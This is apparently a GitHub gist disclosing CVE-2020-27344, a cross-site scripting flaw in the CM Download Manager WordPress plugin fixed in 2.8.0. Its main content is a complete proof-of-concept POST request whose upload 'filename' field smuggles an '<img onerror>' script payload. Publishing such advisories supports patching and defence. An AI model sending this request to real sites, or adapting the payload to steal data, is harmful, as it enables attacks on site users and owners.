Instantly share code, notes, and snippets.

qwebee / gist:da79c6a9fa982c3c40988a1e0598c0d9

Last active 2 years ago

☆ Star

<> Code -o- Revisions 2

CVE-2020-27344

gistfile1.txt

~~~
CVE-2020-27344

The cm-download-manager plugin before 2.8.0 for WordPress allows XSS.

https://gist.github.com/qwebee/da79c6a9fa982c3c40988a1e0598c0d9

------------------------------------------

Vulnerability Type: Cross Site Scripting (XSS).

Vendor of Product:  CreativeMindsSolutions.

Affected Product Code Base: CM Download Manager - 2.7.0 - affected, fix is in 2.8.0.

Attack Type: Remote.

------------------------------------------

Vulnerability is in the POST request.

Exploitation:

- Vulnerable page - 'cmdownload/add/'
- Vulnerable parameter - 'filename' in 'Content-Disposition' Header

```
POST /cmdownload/add/ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------297219106631036445401265881685
Content-Length: 1147
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/cmdownload/add/
Cookie: comment_author_8dec71ede39ad9ff3b3fbc03311bdc45=eee; comment_author_email_8dec71ede39ad9ff3b3fbc03311bdc45=eee%40mail.ru; wordpress
Upgrade-Insecure-Requests: 1

-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_title"

test name
-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_package"; filename="users.doc<img src=a onerror=alert('XSS')>"
Content-Type: application/msword

some test data

-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_categories[]"

17
-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_description"

222
-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots"

[]
-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots-caches"

[]
-----------------------------297219106631036445401265881685
Content-Disposition: form-data; name="CMDM_AddDownloadForm_submit"

Add
-----------------------------297219106631036445401265881685--
```
~~~